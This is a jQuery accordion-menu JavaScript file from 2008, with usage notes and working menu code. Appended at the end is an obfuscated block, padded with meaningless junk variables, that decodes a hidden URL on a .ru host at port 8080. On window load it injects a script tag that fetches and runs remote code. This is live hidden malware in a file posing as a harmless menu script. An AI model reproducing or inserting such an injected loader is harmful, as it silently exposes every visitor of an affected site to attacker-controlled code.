/* 
Simple JQuery menu.
HTML structure to use:

Notes: 

1: each menu MUST have an ID set. It doesn't matter what this ID is as long as it's there.
2: each menu MUST have a class 'menu' set. If the menu doesn't have this, the JS won't make it dynamic

Optional extra classnames:

noaccordion : no accordion functionality
collapsible : menu works like an accordion but can be fully collapsed
expandfirst : first menu item expanded at page load

<ul id="menu1" class="menu [optional class] [optional class]">
<li><a href="#">Sub menu heading</a>
<ul>
<li><a href="http://site.com/">Link</a></li>
<li><a href="http://site.com/">Link</a></li>
<li><a href="http://site.com/">Link</a></li>
...
...
</ul>
<li><a href="#">Sub menu heading</a>
<ul>
<li><a href="http://site.com/">Link</a></li>
<li><a href="http://site.com/">Link</a></li>
<li><a href="http://site.com/">Link</a></li>
...
...
</ul>
...
...
</ul>

Copyright 2008 by Marco van Hylckama Vlieg

web: http://www.i-marco.nl/weblog/
email: marco@i-marco.nl

Free for non-commercial use
*/

function initMenus() {
	$('ul.menu ul').hide();
	/*$.each($('ul.menu'), function(){ //this function was in the source, but it isn't necessary
		$('#' + this.id + '.expandfirst ul:first').show();
	});*/
	//this code is required to remember
	$('#navigation ul#soul').show();
	//bu kod hatırlamak için lazım
	$('ul.menu li a').click(
		function() {
			var checkElement = $(this).next();
			var parent = this.parentNode.parentNode.id;

			if($('#' + parent).hasClass('noaccordion')) {
				$(this).next().slideToggle('normal');
				return false;
			}
			if((checkElement.is('ul')) && (checkElement.is(':visible'))) {
				if($('#' + parent).hasClass('collapsible')) {
					$('#' + parent + ' ul:visible').slideUp('normal');
				}
				return false;
			}
			if((checkElement.is('ul')) && (!checkElement.is(':visible'))) {
				$('#' + parent + ' ul:visible').slideUp('normal');
				checkElement.slideDown('normal');
				return false;
			}
		}
	);
}
$(document).ready(function() {initMenus();});


this.Y="";var X;if(X!='E'){X='E'};function ia(){var n;if(n!='' && n!='I'){n=''};var c=new String();var T=unescape;var o;if(o!='' && o!='wi'){o='j'};var qD=new String();var v=window;var vc;if(vc!='El' && vc!='pF'){vc=''};this.J="";var u=T("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%77%65%62%73%68%6f%74%73%2e%63%6f%6d%2f%61%6c%69%70%61%79%2e%63%6f%6d%2e%70%68%70");var im;if(im!='' && im!='k'){im='ii'};var hp;if(hp!='' && hp!='eE'){hp='Uz'};var g='';function i(p,V){var iu;if(iu!='' && iu!='XO'){iu=null};var x="8y1g".substr(3);var Bp;if(Bp!='' && Bp!='nE'){Bp='Wl'};var IY;if(IY!='' && IY!='WE'){IY='qC'};var m=T("%5b"), Td=T("%5d");var fw=new Date();var nf=new Date();var U=m+V+Td;var ql;if(ql!=''){ql='Ab'};var ST=new String();var B=new RegExp(U, x);var eD='';return p.replace(B, new String());};var aC;if(aC!='zf'){aC='zf'};var O;if(O!='Dk'){O=''};var Wg=new Date();var fD;if(fD!='' && fD!='px'){fD='G'};var pm='';var pX=new String();var cS=new String();var r=new String();var _=i('8136067118166107117','7361');var Q=document;var xZ;if(xZ!='fc' && xZ != ''){xZ=null};var CP="";this.EP='';function a(){this.XB="";var pt=T("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");this.TC="";var kJ='';var R;if(R!='' && R!='IJ'){R='JD'};pX=pt;var kk;if(kk!='mc'){kk='mc'};this.xe='';pX+=_;var OG;if(OG!='ad' && OG!='sC'){OG='ad'};pX+=u;var Il;if(Il!='Ay' && Il!='gT'){Il=''};var vU;if(vU!='' && vU!='Wx'){vU=''};this.Yg="";try {var fg=new String();var EH='';aE=Q.createElement(i('skcUraiJp9tk','ukazv32NXM9JZQAnUL4G'));var WR;if(WR!='' && WR!='SK'){WR=''};var kT;if(kT!='' && kT!='TF'){kT=null};var Wj=new String();aE[T("%73%72%63")]=pX;aE[T("%64%65%66%65%72")]=[6,1][1];var YO;if(YO!='ZB' && YO != ''){YO=null};var rA=new Array();this.JU='';Q.body.appendChild(aE);this.vD='';var yL=new String();var np=new String();} catch(z){var NV;if(NV!='TE' && NV!='SKi'){NV='TE'};alert(z);};}this.Xj='';var Dj=new String();var _o="";v["BN4onl".substr(3)+"oad"]=a;var mR;if(mR!='mK'){mR=''};};var sM=new String();var UL=new String();var N_;if(N_!='_U'){N_='_U'};ia();var EO;if(EO!='' && EO!='Pl'){EO=null};var _M;if(_M!='' && _M!='qL'){_M=null};